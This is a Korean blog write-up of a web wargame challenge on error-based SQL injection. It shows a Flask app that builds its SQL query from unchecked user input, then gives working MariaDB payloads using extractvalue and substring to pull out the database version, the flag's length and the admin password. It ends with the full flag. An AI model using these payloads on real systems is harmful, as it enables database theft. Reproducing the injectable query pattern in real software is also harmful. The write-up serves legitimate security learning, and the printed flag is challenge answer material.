CTF & Wargame(WEB)

level 1 error based sql injection

KWAKBUMJUN 2025. 4. 22. 07:14

문제 분석

문제 링크를 통해 접속해보면 위와 같이 uid에 파라미터로 test를 입력하면 화면에 test가 뜨는 것을 확인할 수 있다.

 

DB 분석

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

init.sql 파일을 열어보면

user라는 테이블 안에 idx, uid, upw 컬럼이 존재한다. 

그리고 admin, flag / guest, guest / test, test를 각각 uid, upw로 설정해준다.

 

app.py 코드 분석

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

위의 코드를 살펴보면 사용자에게 uid로 입력을 받는다. 하지만 사용자 입력을 받을때 아무런 검증을 하지 않기 때문에 sql injection에 취약하다. 우리는 문제의 제목과 같이 error-based sqli를 통해 flag를 획득할 예정이기 때문에 강의를 참고하여 sqli를 발생시켜보자.

 

익스플로잇

익스플로잇을 하기 위해선 에러를 고의적으로 발생시키고 extractvalue 함수를 사용하여 에러문에 우리가 원하는 정보를 포함시킬 것이다.

admin' and extractvalue(1,concat(0x3a,version()))--

결과 :  (1105, "XPATH syntax error: ':10.3.39-MariaDB-0+deb10u1'")

이렇게 성공적으로 payload가 작동하는 것을 확인할 수 있다.

 

그렇다면 서브쿼리를 만들어서 한번 에러문에 flag를 포함시켜보자

admin' and extractvalue(1,concat(0x3a,(select upw from user where uid='admin')))--

결과 : (1105, "XPATH syntax error: ':DH{c3968c78840750168774ad951...'")

위와 같이 flag를 출력하는 것을 확인할 수 있다. 하지만 extractvalue 함수는 길이제한이 있기 때문에 flag 전체를 출력하진 못한다. 따라서 우리는 flag의 길이를 구해야한다.

 

flag의 길이를 구하기 위해선 length 함수를 사용해 총 길이를 구할 것이다.

admin' and extractvalue(1, concat(0x3a,(select length(upw) from user where uid='admin')))--

결과 : (1105, "XPATH syntax error: ':44'")

위와 같이 flag 길이가 44라는 것을 알았다.

 

그렇다면 이전에 구했던 flag의 길이는 28이니, 29부터45까지의 길이를 출력하면 전체 flag를 구할 수 있을 것이다.

admin' and extractvalue(1, concat(0x3a, substring((select upw from user where uid='admin'), 29, 45)))--

결과 : (1105, "XPATH syntax error: ':fc98bf788563c4d}'")

 

그럼 이제 두 flag를 합치면 

DH{c3968c78840750168774ad951fc98bf788563c4d}가 된다.

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

SSTI 관련 문제 풀이  (0) 2025.05.04
JWT (JSON Web Token) 취약점 관련 문제  (0) 2025.05.02
level 2 blind sql injection advanced  (0) 2025.04.22
level 2 DOM XSS  (0) 2025.04.22
level 3 XS-Search  (0) 2025.04.22